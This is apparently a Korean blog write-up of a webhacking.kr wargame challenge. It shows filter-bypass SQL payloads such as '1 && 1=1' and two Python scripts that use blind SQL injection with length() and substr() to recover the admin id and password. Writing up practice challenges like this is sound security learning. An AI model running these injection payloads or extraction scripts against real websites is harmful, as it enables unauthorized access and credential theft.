500점이나 되는 고득점 찬스..
세개 전부 다 맞춰야 로그인이 되는 듯 보인다. 역시 admin으로 로그인하는게 goal일듯 싶다.
근데 대강 막 넣어봐도 Failure이라고만 뜨고 힌트가 없다.
no를 다르게 하고 id를 다르게 하고 pw를 다르게 해도 오류메세지가 전부 같았다. 으찌된 일이란말인가... 뭐 하라는것인지 감도 안잡혔다
일단 no에 간단한 구문을 넣어보았다.
1 or 1=1
Access Denied가 나왔다.
1 && 1=1
는 된다 헐ㅋ
이제 true와 false를 알아낼 방법이 생겼다. 아마도...
간단히 쿼리문을 생각해보면
select * from table where no=1&&1=1 and id=guest and pw=guest
뭐 이런 느낌일까?
blind sql injection이 되는지 확인하기 위해서 몇가지 테스트를 해보기로 한다.
no 1의 guest는 5자리의 아이디니까, length가 5가 나오면 성공이라 할 수 있겠다.
#!/usr/bin/env python # -*- coding: utf8 -*- import urllib, urllib2, re sess = "" headers = {'Host': 'webhacking.kr', 'Cookie': "PHPSESSID={}".format(sess) } pw = '' for i in range(1,10): #for j in range(97,123): url = 'http://webhacking.kr/challenge/web/web-29/index.php?no=1%26%26length%28id%29%3D{}&id=guest&pw=guest'.format(i) req = urllib2.Request(url, '', headers) response = urllib2.urlopen(req).read() if ("Success" in response): print "!", i
5가 나온다. 된다. 여기서 한참헤맸는데..처음엔 주석으로 처리해서 넘으려고 #랑 --등 다해봤는데 안된다.
그리고 반전 아닌 반전이 잇는데
위 소스 고대로 하면 죽었다 깨어나도 2 row의 아이디를 알아낼 수가 없다. 왜냐면 admin에 매치가 되면, admin page가 따로 있기 때문이다! (빠밤)...
돌아오는 response를 확인안하면 절대 알 수가 없다 ㅡㅡ 당연히 Success일거라 생각했는데.. 어쨌뜬 Success가 아니라 admin으로 필터링하면 아이디가 admin인것을 알 수 있다.
이제 질의시간이 남았다
#!/usr/bin/env python # -*- coding: utf8 -*- import urllib, urllib2, re sess = "" headers = {'Host': 'webhacking.kr', 'Cookie': "PHPSESSID={}".format(sess) } pw = '' for i in range(1,15): for j in range(92,123): url = 'http://webhacking.kr/challenge/web/web-29/index.php?no=2%7C%7Csubstr%28pw%2C{}%2C1%29%3D{}&id=guest&pw=guest'.format(i,hex(j)) req = urllib2.Request(url, '', headers) response = urllib2.urlopen(req).read() #print response if ("admin" in response): pw = pw + chr(j) print pw
비밀번호 length까지 알아내면 좋겠지만 그건 귀찮으니 넘어가고. 이대로 돌리면 글자가 한개가 안나오는데 ㅡㅡ
이건 guest의 비밀번호와 같아서 생기는 문제라고 한다. 어떻게 처리하면 되긴하겠지만.. 그냥 관대하게 넘어가도록 하자.